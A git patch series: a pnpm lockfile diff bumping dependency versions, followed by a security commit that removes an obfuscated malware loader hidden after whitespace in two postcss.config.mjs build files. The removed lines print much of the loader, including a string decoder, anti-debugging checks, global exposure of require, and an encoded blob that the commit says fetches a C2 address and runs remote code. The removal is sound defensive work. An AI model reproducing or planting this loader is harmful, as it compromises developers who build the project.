sha512-7MQrx9pDv5aHiUcovIb/70Ys3tgtkUVgCtledvKdCmEO+/1Dicq5ZqoSxOW034m03oqC+oHOKui2dM6qtMLoJg==} + vitest@5.0.3: + resolution: {integrity: sha512-xMw97S3rjdtj5dkVat7jCsqWBpvchs3RlpQctUqwJD0KkERk40vz2fJ77lDwW/Vzh/pk18eItYAzkodhSes3jQ==} engines: {node: ^22.12.0 || ^24.0.0 || >=26.0.0} hasBin: true peerDependencies: '@edge-runtime/vm': '*' '@opentelemetry/api': ^1.9.0 '@types/node': ^22.0.0 || >=24.0.0 - '@vitest/browser-playwright': 5.0.2 - '@vitest/browser-preview': 5.0.2 + '@vitest/browser-playwright': 5.0.3 + '@vitest/browser-preview': 5.0.3 '@vitest/browser-webdriverio': ^5.0.0-beta.5 || >=5.0.0 - '@vitest/coverage-istanbul': 5.0.2 - '@vitest/coverage-v8': 5.0.2 - '@vitest/ui': 5.0.2 + '@vitest/coverage-istanbul': 5.0.3 + '@vitest/coverage-v8': 5.0.3 + '@vitest/ui': 5.0.3 happy-dom: '*' jsdom: '*' vite: ^6.4.0 || ^7.0.0 || ^8.0.0 @@ -4215,8 +4219,8 @@ packages: engines: {node: ^16.13.0 || >=18.0.0} hasBin: true - why-is-node-running@3.2.2: - resolution: {integrity: sha512-NKUzAelcoCXhXL4dJzKIwXeR8iEVqsA0Lq6Vnd0UXvgaKbzVo4ZTHROF2Jidrv+SgxOQ03fMinnNhzZATxOD3A==} + why-is-node-running@3.2.1: + resolution: {integrity: sha512-Tb2FUhB4vUsGQlfSquQLYkApkuPAFQXGFzxWKHHumVz2dK+X1RUm/HnID4+TfIGYJ1kTcwOaCk/buYCEJr6YjQ==} engines: {node: '>=20.11'} hasBin: true @@ -4987,7 +4991,7 @@ snapshots: transitivePeerDependencies: - supports-color - '@napi-rs/wasm-runtime@1.2.4(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)': + '@napi-rs/wasm-runtime@1.2.5(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)': dependencies: '@emnapi/core': 1.11.2 '@emnapi/runtime': 1.11.2 @@ -5038,7 +5042,7 @@ snapshots: '@opentelemetry/api@1.9.1': {} - '@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1)': + '@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1)': dependencies: '@opentelemetry/api': 1.9.1 '@opentelemetry/semantic-conventions': 1.43.0 @@ -5047,30 +5051,30 @@ snapshots: dependencies: '@opentelemetry/api': 1.9.1 '@opentelemetry/api-logs': 0.220.0 - import-in-the-middle: 3.5.1 + import-in-the-middle: 3.5.2 require-in-the-middle: 8.0.1 transitivePeerDependencies: - supports-color - '@opentelemetry/resources@2.11.0(@opentelemetry/api@1.9.1)': + '@opentelemetry/resources@2.12.0(@opentelemetry/api@1.9.1)': dependencies: '@opentelemetry/api': 1.9.1 - '@opentelemetry/core': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/core': 2.12.0(@opentelemetry/api@1.9.1) '@opentelemetry/semantic-conventions': 1.43.0 - '@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1)': + '@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1)': dependencies: '@opentelemetry/api': 1.9.1 - '@opentelemetry/core': 2.11.0(@opentelemetry/api@1.9.1) - '@opentelemetry/resources': 2.11.0(@opentelemetry/api@1.9.1) - '@opentelemetry/sdk-trace': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/core': 2.12.0(@opentelemetry/api@1.9.1) + '@opentelemetry/resources': 2.12.0(@opentelemetry/api@1.9.1) + '@opentelemetry/sdk-trace': 2.12.0(@opentelemetry/api@1.9.1) '@opentelemetry/semantic-conventions': 1.43.0 - '@opentelemetry/sdk-trace@2.11.0(@opentelemetry/api@1.9.1)': + '@opentelemetry/sdk-trace@2.12.0(@opentelemetry/api@1.9.1)': dependencies: '@opentelemetry/api': 1.9.1 - '@opentelemetry/core': 2.11.0(@opentelemetry/api@1.9.1) - '@opentelemetry/resources': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/core': 2.12.0(@opentelemetry/api@1.9.1) + '@opentelemetry/resources': 2.12.0(@opentelemetry/api@1.9.1) '@opentelemetry/semantic-conventions': 1.43.0 '@opentelemetry/semantic-conventions@1.43.0': {} @@ -5247,7 +5251,7 @@ snapshots: dependencies: '@emnapi/core': 1.11.2 '@emnapi/runtime': 1.11.2 - '@napi-rs/wasm-runtime': 1.2.4(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2) + '@napi-rs/wasm-runtime': 1.2.5(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2) optional: true '@oxc-resolver/binding-win32-arm64-msvc@11.24.2': @@ -5535,50 +5539,50 @@ snapshots: '@sentry/conventions@0.16.0': {} - '@sentry/core@10.75.0': + '@sentry/core@10.76.1': dependencies: '@sentry/conventions': 0.16.0 - '@sentry/node-core@10.75.0(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(@opentelemetry/instrumentation@0.220.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1))': + '@sentry/node-core@10.76.1(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(@opentelemetry/instrumentation@0.220.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1))': dependencies: '@sentry/conventions': 0.16.0 - '@sentry/core': 10.75.0 - '@sentry/opentelemetry': 10.75.0(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1)) - import-in-the-middle: 3.5.1 + '@sentry/core': 10.76.1 + '@sentry/opentelemetry': 10.76.1(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1)) + import-in-the-middle: 3.5.2 optionalDependencies: '@opentelemetry/api': 1.9.1 - '@opentelemetry/core': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/core': 2.12.0(@opentelemetry/api@1.9.1) '@opentelemetry/instrumentation': 0.220.0(@opentelemetry/api@1.9.1) - '@opentelemetry/sdk-trace-base': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/sdk-trace-base': 2.12.0(@opentelemetry/api@1.9.1) - '@sentry/node@10.75.0(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))': + '@sentry/node@10.76.1(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))': dependencies: '@opentelemetry/api': 1.9.1 '@opentelemetry/instrumentation': 0.220.0(@opentelemetry/api@1.9.1) - '@opentelemetry/sdk-trace-base': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/sdk-trace-base': 2.12.0(@opentelemetry/api@1.9.1) '@sentry/conventions': 0.16.0 - '@sentry/core': 10.75.0 - '@sentry/node-core': 10.75.0(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(@opentelemetry/instrumentation@0.220.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1)) - '@sentry/opentelemetry': 10.75.0(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1)) - '@sentry/server-utils': 10.75.0 - import-in-the-middle: 3.5.1 + '@sentry/core': 10.76.1 + '@sentry/node-core': 10.76.1(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(@opentelemetry/instrumentation@0.220.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1)) + '@sentry/opentelemetry': 10.76.1(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1)) + '@sentry/server-utils': 10.76.1 + import-in-the-middle: 3.5.2 transitivePeerDependencies: - '@opentelemetry/core' - '@opentelemetry/exporter-trace-otlp-http' - supports-color - '@sentry/opentelemetry@10.75.0(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.11.0(@opentelemetry/api@1.9.1))': + '@sentry/opentelemetry@10.76.1(@opentelemetry/api@1.9.1)(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(@opentelemetry/sdk-trace-base@2.12.0(@opentelemetry/api@1.9.1))': dependencies: '@opentelemetry/api': 1.9.1 - '@opentelemetry/core': 2.11.0(@opentelemetry/api@1.9.1) - '@opentelemetry/sdk-trace-base': 2.11.0(@opentelemetry/api@1.9.1) + '@opentelemetry/core': 2.12.0(@opentelemetry/api@1.9.1) + '@opentelemetry/sdk-trace-base': 2.12.0(@opentelemetry/api@1.9.1) '@sentry/conventions': 0.16.0 - '@sentry/core': 10.75.0 + '@sentry/core': 10.76.1 - '@sentry/server-utils@10.75.0': + '@sentry/server-utils@10.76.1': dependencies: '@sentry/conventions': 0.16.0 - '@sentry/core': 10.75.0 + '@sentry/core': 10.76.1 '@shaderfrog/glsl-parser@7.0.1': {} @@ -5767,18 +5771,18 @@ snapshots: '@types/validate-npm-package-name@4.0.2': {} - '@typescript-eslint/types@8.70.0': {} + '@typescript-eslint/types@8.71.1': {} - '@vitest/mocker@5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1))': + '@vitest/mocker@5.0.3(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1))': dependencies: '@jridgewell/trace-mapping': 0.3.31 - '@vitest/spy': 5.0.2 + '@vitest/spy': 5.0.3 estree-walker: 3.0.3 - magic-string: 1.4.2 + magic-string: 1.4.3 optionalDependencies: vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1) - '@vitest/spy@5.0.2': {} + '@vitest/spy@5.0.3': {} abort-controller@3.0.0: dependencies: @@ -5931,11 +5935,11 @@ snapshots: caniuse-lite@1.0.30001812: {} - chai@6.2.2: {} + chai@6.3.0: {} chalk@5.6.2: {} - cjs-module-lexer@2.2.1: {} + cjs-module-lexer@2.3.0: {} class-variance-authority@0.7.1: dependencies: @@ -5992,7 +5996,7 @@ snapshots: env-paths: 3.0.0 json-schema-typed: 8.0.2 semver: 7.8.5 - uint8array-extras: 1.5.0 + uint8array-extras: 1.6.0 confbox@0.2.4: {} @@ -6147,7 +6151,7 @@ snapshots: es-module-lexer@2.3.2: {} - es-module-lexer@3.0.2: {} + es-module-lexer@3.0.3: {} es-object-atoms@1.1.2: dependencies: @@ -6424,7 +6428,7 @@ snapshots: formatly@0.7.1: dependencies: fd-package-json: 2.0.0 - package-manager-detector: 1.8.0 + package-manager-detector: 1.9.0 forwarded@0.2.0: {} @@ -6553,10 +6557,10 @@ snapshots: parent-module: 1.0.1 resolve-from: 4.0.0 - import-in-the-middle@3.5.1: + import-in-the-middle@3.5.2: dependencies: - cjs-module-lexer: 2.2.1 - es-module-lexer: 3.0.2 + cjs-module-lexer: 2.3.0 + es-module-lexer: 3.0.3 module-details-from-path: 1.0.4 imurmurhash@0.1.4: {} @@ -6665,7 +6669,7 @@ snapshots: kleur@4.1.5: {} - knip@6.38.0: + knip@6.40.0: dependencies: fdir: 6.5.0(picomatch@4.0.7) formatly: 0.7.1 @@ -6677,52 +6681,52 @@ snapshots: smol-toml: 1.9.0 strip-json-comments: 5.0.3 tinyglobby: 0.2.17 - unbash: 4.0.11 + unbash: 4.0.12 yaml: 2.9.1 zod: 4.6.5 - lefthook-darwin-arm64@2.1.14: + lefthook-darwin-arm64@2.2.0: optional: true - lefthook-darwin-x64@2.1.14: + lefthook-darwin-x64@2.2.0: optional: true - lefthook-freebsd-arm64@2.1.14: + lefthook-freebsd-arm64@2.2.0: optional: true - lefthook-freebsd-x64@2.1.14: + lefthook-freebsd-x64@2.2.0: optional: true - lefthook-linux-arm64@2.1.14: + lefthook-linux-arm64@2.2.0: optional: true - lefthook-linux-x64@2.1.14: + lefthook-linux-x64@2.2.0: optional: true - lefthook-openbsd-arm64@2.1.14: + lefthook-openbsd-arm64@2.2.0: optional: true - lefthook-openbsd-x64@2.1.14: + lefthook-openbsd-x64@2.2.0: optional: true - lefthook-windows-arm64@2.1.14: + lefthook-windows-arm64@2.2.0: optional: true - lefthook-windows-x64@2.1.14: + lefthook-windows-x64@2.2.0: optional: true - lefthook@2.1.14: + lefthook@2.2.0: optionalDependencies: - lefthook-darwin-arm64: 2.1.14 - lefthook-darwin-x64: 2.1.14 - lefthook-freebsd-arm64: 2.1.14 - lefthook-freebsd-x64: 2.1.14 - lefthook-linux-arm64: 2.1.14 - lefthook-linux-x64: 2.1.14 - lefthook-openbsd-arm64: 2.1.14 - lefthook-openbsd-x64: 2.1.14 - lefthook-windows-arm64: 2.1.14 - lefthook-windows-x64: 2.1.14 + lefthook-darwin-arm64: 2.2.0 + lefthook-darwin-x64: 2.2.0 + lefthook-freebsd-arm64: 2.2.0 + lefthook-freebsd-x64: 2.2.0 + lefthook-linux-arm64: 2.2.0 + lefthook-linux-x64: 2.2.0 + lefthook-openbsd-arm64: 2.2.0 + lefthook-openbsd-x64: 2.2.0 + lefthook-windows-arm64: 2.2.0 + lefthook-windows-x64: 2.2.0 levn@0.4.1: dependencies: @@ -6855,7 +6859,7 @@ snapshots: dependencies: '@jridgewell/sourcemap-codec': 1.6.0 - magic-string@1.4.2: + magic-string@1.4.3: dependencies: '@jridgewell/sourcemap-codec': 1.6.0 @@ -6863,7 +6867,7 @@ snapshots: dependencies: '@babel/parser': 7.29.9 '@babel/types': 7.29.8 - source-map-js: 1.2.1 + source-map-js: 1.2.2 math-intrinsics@1.1.0: {} @@ -7107,10 +7111,10 @@ snapshots: '@oxfmt/binding-win32-ia32-msvc': 0.68.0 '@oxfmt/binding-win32-x64-msvc': 0.68.0 - oxlint-plugin-react-doctor@0.9.14: + oxlint-plugin-react-doctor@0.9.17: dependencies: '@shaderfrog/glsl-parser': 7.0.1 - '@typescript-eslint/types': 8.70.0 + '@typescript-eslint/types': 8.71.1 eslint-scope: 9.1.2 eslint-visitor-keys: 5.0.1 lightningcss: 1.33.0 @@ -7178,7 +7182,7 @@ snapshots: p-try@2.2.0: {} - package-manager-detector@1.8.0: {} + package-manager-detector@1.9.0: {} parent-module@1.0.1: dependencies: @@ -7219,7 +7223,7 @@ snapshots: dependencies: find-up: 3.0.0 - playwright-core@1.63.0: {} + playwright-core@1.64.0: {} postcss-selector-parser@7.1.6: dependencies: @@ -7236,7 +7240,7 @@ snapshots: dependencies: nanoid: 3.3.19 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 powershell-utils@0.1.0: {} @@ -7282,10 +7286,10 @@ snapshots: iconv-lite: 0.7.3 unpipe: 1.0.0 - react-doctor@0.9.14(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(eslint@10.11.0(jiti@2.7.0))(react@19.3.0): + react-doctor@0.9.17(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(eslint@10.11.0(jiti@2.7.0))(react@19.3.0): dependencies: '@astrojs/compiler': 4.0.0 - '@sentry/node': 10.75.0(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1)) + '@sentry/node': 10.76.1(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1)) agent-install: 0.0.5 bippy: 0.6.1(react@19.3.0) conf: 15.1.0 @@ -7297,8 +7301,8 @@ snapshots: oxc-parser: 0.148.0 oxc-resolver: 11.24.2 oxlint: 1.81.0 - oxlint-plugin-react-doctor: 0.9.14 - playwright-core: 1.63.0 + oxlint-plugin-react-doctor: 0.9.17 + playwright-core: 1.64.0 prompts: 2.4.2 typescript: 5.9.3 yaml: 2.9.1 @@ -7548,11 +7552,13 @@ snapshots: source-map-js@1.2.1: {} + source-map-js@1.2.2: {} + source-map@0.6.1: {} statuses@2.0.2: {} - std-env@4.2.0: {} + std-env@4.3.0: {} stdin-discarder@0.2.2: {} @@ -7612,7 +7618,7 @@ snapshots: tiny-invariant@1.3.3: {} - tinybench@6.2.0: {} + tinybench@6.2.1: {} tinyexec@1.3.1: {} @@ -7670,9 +7676,9 @@ snapshots: typescript@6.0.3: {} - uint8array-extras@1.5.0: {} + uint8array-extras@1.6.0: {} - unbash@4.0.11: {} + unbash@4.0.12: {} undici-types@7.18.2: {} @@ -7723,22 +7729,22 @@ snapshots: tsx: 4.23.15 yaml: 2.9.1 - vitest@5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)): + vitest@5.0.3(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)): dependencies: '@types/chai': 5.2.3 - '@vitest/mocker': 5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) - chai: 6.2.2 + '@vitest/mocker': 5.0.3(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) + chai: 6.3.0 es-module-lexer: 2.3.2 expect-type: 1.4.0 - magic-string: 1.4.2 + magic-string: 1.4.3 obug: 2.2.1 picomatch: 4.0.7 - std-env: 4.2.0 - tinybench: 6.2.0 + std-env: 4.3.0 + tinybench: 6.2.1 tinyexec: 1.3.1 tinyglobby: 0.2.17 vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1) - why-is-node-running: 3.2.2 + why-is-node-running: 3.2.1 optionalDependencies: '@opentelemetry/api': 1.9.1 '@types/node': 24.13.6 @@ -7764,7 +7770,7 @@ snapshots: dependencies: isexe: 3.1.5 - why-is-node-running@3.2.2: {} + why-is-node-running@3.2.1: {} word-wrap@1.2.5: {} From 1212ae1a6c705d841c34d927252547d50553e140 Mon Sep 17 00:00:00 2001 From: Muhammaddiyor Tohirov Date: Sat, 17 Oct 2026 14:12:53 +0500 Subject: [PATCH 2/2] fix(security): remove injected malware payload An attacker rewrote earlier commits (committer davidvicos1) and hid an obfuscated loader after long whitespace in build config files. The loader resolves a C2 address from Ethereum transactions and runs a remote script via node. Remove the payload and the injected createRequire lines. Files: apps/web/postcss.config.mjs, packages/ui/postcss.config.mjs Co-Authored-By: Claude Opus 5.5 --- apps/web/postcss.config.mjs | 4 +--- packages/ui/postcss.config.mjs | 4 +--- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/apps/web/postcss.config.mjs b/apps/web/postcss.config.mjs index 53f7567..2df8665 100644 --- a/apps/web/postcss.config.mjs +++ b/apps/web/postcss.config.mjs @@ -1,3 +1 @@ -import { createRequire } from 'module'; -const require = createRequire(import.meta.url); -export { default } from "@kyuar/ui/postcss.config"; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ 